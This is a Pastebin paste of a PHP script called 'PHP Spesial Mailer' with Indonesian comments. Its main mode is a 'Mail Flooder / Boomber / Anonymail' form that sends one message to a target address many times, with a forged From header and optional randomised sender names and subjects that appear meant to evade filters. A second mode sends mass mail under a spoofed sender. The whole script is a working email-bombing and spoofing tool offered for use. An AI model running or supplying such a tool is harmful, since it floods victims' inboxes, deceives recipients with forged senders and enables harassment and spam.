Advertisement
Guest User

PHP Spesial Mailer Gan

a guest
Nov 1st, 2014
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.19 KB | None | 0 0
  1. <?php
  2. @set_time_limit(0);
  3. error_reporting(0);
  4. #############################################################################################
  5. # Name      : PHP Spesial Mailer (Required Version 5++)
  6. # Coded by  : Daroel Newbie http://fb.me/developeroel
  7. # Dedicated to  : Seseorang yang lagi bersemayam dihati saya =))
  8. # Thanks to : Mr.Lucka, TheJagat, Skyline, Sohai and my Friends
  9. # Greets    : IFC, IDC, HN-C, XCrew wa ala kulli majlis ajmain :D
  10. # License   : Bebas copas tanpa mengubah tulisan ini wkwkwk suhh
  11. #############################################################################################
  12. ?>
  13. <title> Spesial Mailer Gan </title>
  14. <style>
  15. body {
  16. font-family:Arial;
  17. background-image:url(http://i.imgur.com/rsCHCZW.jpg);
  18. background-repeat:no repeat; background-attachment:fixed;
  19. color:white;}
  20. #d {
  21. width:250px;
  22. }
  23. #dd {
  24. width:50px;
  25. }
  26. #button {
  27. background-color:black;
  28. color:white;
  29. font-family:Arial;
  30. cursor:pointer;
  31. border-radius:10px;
  32. moz-border-radius:10px;
  33. webkit-border-radius:10px;
  34. }
  35. #button:hover {
  36. background-color:white;
  37. color:black;
  38. }
  39. .notif {
  40. height:21px;
  41. width:350px;
  42. border:1px solid white;
  43. background-color:black;
  44. text-align:center;
  45. }
  46. </style>
  47. <center>
  48. <font style="font-size:30px; font-weight:bold;"> ...:: Spesial Mailer Gan ::... </font></br>
  49. <font style="font-size:15px;">
  50. Coded by : Daroel Newbie 2014 </br>
  51. </font>
  52. </center>
  53. </br>
  54. <button onclick="document.location='<?php print $_SERVER['PHP_SELF']; ?>'" id="button">Mail Flooder / Boomber</button>
  55. <button onclick="document.location='<?php print $_SERVER['PHP_SELF']."?m=mm"; ?>'" id="button">Mass Mail Sender</button>
  56. <button onclick="document.location='<?php print $_SERVER['REQUEST_URI']; ?>'" id="button">Refresh Page</button>
  57. <?php
  58. // parameter
  59. if(isset($_GET['m']))
  60. {
  61.     if($_GET['m']=="mm")
  62.         {
  63. // mass mailer
  64. ?>
  65. <h2> Mass Mail Sender </h2>
  66. <table>
  67. <form method="post" action="">
  68. <tr><td>From </td><td>:<input type="text" name="md" id="d" placeholder="whoami@mail.com"></td></tr>
  69. <tr><td></td><td> &nbsp; <i> use comma (,) as separator !</td></tr>
  70. <tr><td>To All</td><td>:<textarea name="mk" cols="28px"></textarea></td></tr>
  71. <tr><td>Subject</td><td>:<input type="text" name="ms" id="d" placeholder="Mass Mailer"></td></tr>
  72. <tr><td>Contents</td><td>:<textarea name="mi" cols="28px"></textarea></td></tr>
  73. <tr><td></td><td><input type="submit" name="masssend" value="Send Gan !" id="button"></td></tr>
  74. </form>
  75. </table>
  76. <?php
  77. if(isset($_POST['masssend']))
  78. {
  79.     if(empty($_POST['md']) || empty($_POST['ms']) || empty($_POST['mi']) || empty($_POST['mk']))
  80.     {  
  81.         echo "<div class='notif'>";
  82.         echo "Please, Complete the form gan !";
  83.         echo "</div>";     
  84.         }
  85.     else
  86.     {
  87.     $juduleh=$_POST['ms'];
  88.     $essenah=$_POST['mi'];    
  89.         $headers= "MIME-Version: 1.0";
  90.         $headers= "Content-type:text/html;charset=UTF-8";
  91.     $all_target=array($_POST['mk']);
  92.     foreach($all_target as $kampret)
  93.         {
  94.                 $headers="From :".$_POST['md'];
  95.         $send=mail($kampret,$juduleh,$essenah,$headers);
  96.                 sleep(1);
  97.         }
  98.     echo "<div class='notif'>";
  99.         if($send)
  100.           {
  101.           echo "Aselole...., email has been sent Gan!";                  
  102.           }
  103.          else
  104.           {
  105.          echo "owhh Shit..., Failed to send email!";                  
  106.           }
  107.          echo "</div>";  
  108.     }
  109. }
  110. // end mass mailer
  111.         }
  112. }
  113.  
  114. // end parameter
  115. else
  116. // default
  117. { ?>
  118. <h2> Mail Flooder / Boomber / Anonymail </h2>
  119. <table>
  120. <form method="post" action="">
  121. <tr><td>From </td><td>:<input type="text" name="d" id="d" placeholder="whoami@mail.com"></td></tr>
  122. <tr><td>To</td><td>:<input type="text" name="k" id="d" placeholder="target@mail.com"></td></tr>
  123. <tr><td>Subject</td><td>:<input type="text" name="s" id="d" placeholder="floooooooood"></td></tr>
  124. <tr><td>Contents</td><td>:<textarea name="i" cols="28px"></textarea></td></tr>
  125. <tr><td>Include random contens </td><td>:<select name="rand"><option value="enjek">No</option><option value="iyeh">Yes</option></select>
  126. </td></tr>
  127. <tr><td>Count </td><td>:<input type="text" name="brempah" id="dd" placeholder="1000"></td></tr>
  128. <tr><td>Delay (in second)</td><td>:<input type="text" name="delay" placeholder="3" id="dd"></td></tr>
  129. <tr><td></td><td><input type="submit" name="send" value="Send Gan !" id="button"></td></tr>
  130. </form>
  131. </table>
  132. <?php
  133. if(isset($_POST['send']))
  134. //submit epecek
  135. {
  136.     if(empty($_POST['k']) || empty($_POST['s']) || empty($_POST['i']) || empty($_POST['d']))
  137.     {    
  138.         echo "<div class='notif'>";
  139.         echo "Please, Complete The Form gan! ";
  140.         echo "</div>";
  141.     }
  142.     else
  143.     // mun tak kosong
  144.     {
  145.         $kasapah=$_POST['k'];
  146.         $juduleh=$_POST['s'];
  147.         $essenah=$_POST['i'];        
  148.                 $headers= "MIME-Version: 1.0";
  149.                 $headers= "Content-type:text/html;charset=UTF-8";
  150.                  
  151.         if(empty($_POST['brempah']))
  152.         {
  153.                
  154.             $headers= "From: ".$_POST['d'];    
  155.             $send=mail($kasapah,$juduleh,$essenah,$headers);
  156.         }
  157.         else
  158.         {
  159.             // loop
  160.             for($rate=1;$rate<=$_POST['brempah'];$rate++)
  161.             {
  162.                 if($_POST['rand']=="iyeh")
  163.                 {
  164.                     $lanjengah=strlen($_POST['d']);      
  165.                     $langlang=strstr($_POST['d'],"@");
  166.                     $gunteng=strlen($langlang);
  167.                     $pesa=substr($_POST['d'],"0",$lanjengah-$gunteng);
  168.                     $headers="From : ".$pesa.$rate.$langlang;
  169.                     $juduleh=$juduleh.$rate;
  170.                     $essenah=$essenah.$rate;    
  171.                     $send=mail($kasapah,$juduleh,$essenah,$headers);
  172.                 }
  173.                 else
  174.                 {
  175.                                        
  176.                                         $headers= "From: ".$_POST['d'];    
  177.                     $send=mail($kasapah,$juduleh,$essenah,$headers);
  178.                 }
  179.             if(empty($_POST['delay'])){ sleep(1); } else { sleep($_POST['delay']); }
  180.        
  181.             }
  182.                 // end loop
  183.          }
  184.         echo "<div class='notif'>";
  185.         if($send)
  186.           {
  187.           echo "Aselole...., email has been sent Gan!";                  
  188.           }
  189.          else
  190.           {
  191.          echo "owhh Shit..., Failed to send email!";                  
  192.           }
  193.          echo "</div>";  
  194.     }
  195.     // end mun tak kosong
  196.  
  197. }
  198. //end submit epecek
  199. }
  200. // end default gan
  201. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement